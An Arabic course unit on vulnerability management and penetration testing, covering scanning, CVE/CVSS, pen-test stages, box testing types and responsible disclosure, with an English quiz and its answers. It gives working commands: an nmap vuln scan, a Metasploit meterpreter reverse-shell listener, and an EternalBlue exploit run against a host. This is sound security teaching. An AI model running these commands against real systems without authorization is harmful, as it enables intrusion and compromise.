

الوحدة 22: إدارة الثغرات واختبار الاختراق

(Vulnerability Scanning (Authenticated vs Unauthenticated

مسح الثغرات هو عملية فحص الأنظمة والشبكات بحثًا عن نقاط ضعف معروفة باستخدام قواعد بيانات مثل CVE. أدوات المسح الشائعة: Nessus, OpenVAS, Qualys.

Unauthenticated Scan: مسح بدون بيانات دخول، يحاكي المهاجم الخارجي. يكتشف الخدمات المكشوفة والثغرات الظاهرية فقط. سريع لكن محدود. قد يعطي نتائج إيجابية كاذبة.

Authenticated Scan: مسح بصلاحيات دخول حقيقية (مثل اسم مستخدم وكلمة مرور). يتعمق داخل النظام ويحلل الإعدادات الداخلية، التطبيقات المثبتة، والتحديثات المفقودة. أكثر دقة وأقل نتائج كاذبة.

التوصية: استخدام Authenticated Scan للأنظمة الحرجة، وUnauthenticated للشبكات الخارجية.

مثال: مسح الثغرات باستخدام Nmap

```
nmap --script vuln -sV -p 1-1000 192.168.1.0/24
```

يشرح الأمر كالتالي:

nmap : أداة مسح الشبكات الأشهر عالميًا.

--script vuln : يشغل سكريبتات اكتشاف الثغرات المضمنة في NSE.

-sV : يكشف إصدارات الخدمات (مثل Apache 2.4.49).

-p 1-1000 : يمسح المنافذ من 1 إلى 1000.

192.168.1.0/24 : نطاق الشبكة الهدف (256 عنوانًا).

ملاحظة: السكريبت vuln قد يكون صاخبًا، استخدمه في بيئة اختبار مصرح بها.

CVSS / CVE

CVE (Common Vulnerabilities and Exposures): معرف فريد لكل ثغرة معلومة، مثال: CVE-2023-1234.

CVSS (Common Vulnerability Scoring System): نظام تقييم شدة الثغرة من 0 إلى 10:

0.0 – 3.9: منخفض | 4.0 – 6.9: متوسط | 7.0 – 8.9: عالي | 9.0 – 10.0: حرج.

يعتمد CVSS على عوامل: ناقل الهجوم، تعقيد الهجوم، صلاحيات مطلوبة، تأثير على السرية والتكامل والتوفر.

Pen Testing Stages

اختبار الاختراق (Penetration Testing) يمر بالمراحل التالية:

1. **Planning & Reconnaissance:** تحديد النطاق وجمع معلومات (OSINT, DNS).

2. **Scanning**: مسح المنافذ والخدمات (nmap, Nessus).

3. **Exploitation**: محاولة استغلال الثغرات.

4. **Privilege Escalation**: رفع الصلاحيات.

5. **Lateral Movement**: التنقل بين الأنظمة.

6. **Reporting**: توثيق النتائج والتوصيات.

مثال: (Metasploit Framework (msfconsole

```
msfconsole -q
search type:exploit platform:windows cve:2021
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
run -j
```

يشرح الأمر كالتالي:

`msfconsole -q`: فتح واجهة Metasploit بهدوء (بدون بانر).

`search type:exploit platform:windows cve:2021`: يبحث عن إكسبلوئتات ويندوز لعام 2021.

`use exploit/multi/handler`: يستخدم وحدة الاستماع للاتصالات العكسية.

`set PAYLOAD windows/meterpreter/reverse_tcp`: يحدد نوع الحمولة (Shell عكسية).

`set LHOST 192.168.1.10`: عنوان المستمع (جهاز المهاجم).

`set LPORT 4444`: منفذ الاستماع.

`run -j`: تشغيل في الخلفية كـ Job.

مثال آخر - استغلال EternalBlue:

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.50
check
run
```

Black / White / Gray Box

طرق اختبار الاختراق حسب كمية المعلومات المقدمة للمختبر:

Black Box: لا معلومات مسبقة عن الهدف، يحاكي مهاجم خارجي. يستغرق وقتًا أطول لكنه واقعي.

White Box: معلومات كاملة (كود مصدري، بنية تحتية، بيانات اعتماد). أعمق وأشمل وأسرع، يكتشف ثغرات معقدة كـ SQL Injection مخفية.

Gray Box: معلومات جزئية (مثل صلاحيات مستخدم عادي). مزيج بين النهجين، يحاكي تهديدًا داخليًا أو هجومًا بعد اختراق أولي.

Bug Bounty & Responsible Disclosure

Bug Bounty: برنامج مكافآت مالية لمن يكتشف ثغرات. منصات شهيرة: HackerOne, Bugcrowd, Synack. المكافآت تتراوح من \$100 إلى ملايين (مثل ثغرات Apple أو Google).

Responsible Disclosure: إفصاح مسؤول عن الثغرة للجهة المعنية قبل النشر العام. مهلة الإصلاح عادة 30-90 يومًا. الهدف حماية المستخدمين مع إعطاء فرصة للتصحيح.

(Vulnerability Disclosure Policy (VDP): سياسة رسمية تصف كيفية إبلاغ الباحثين عن الثغرات وتحدد النطاق المسموح اختبارها.

(Quick Quiz (MCQ

1. What does CVSS measure in vulnerability management ?

- a) The number of affected systems
- b) The severity and impact score of a security vulnerability
- c) The cost of remediation
- d) The time to patch

Answer: b

2. What is the key difference between a vulnerability scan and a penetration test ?

- a) They are the same thing
- b) Scanning identifies vulnerabilities while penetration testing actively exploits them
- c) Scanning is done externally, testing is done internally
- d) Testing only checks for misconfigurations

Answer: b

3. In penetration testing, which type gives the tester full knowledge of the target environment ?

- a) Black box
- b) Gray box
- c) White box
- d) No box

Answer: c

4. What does CVE stand for in vulnerability tracking ?

- a) Central Vulnerability Entry
- b) Common Vulnerabilities and Exposures
- c) Critical Vulnerability Estimation
- d) Cyber Vulnerability Enumeration

Answer: b

5. What is the first phase of a penetration testing engagement ?

- a) Exploitation

b) Reconnaissance

c) Reporting

d) Remediation

Answer: b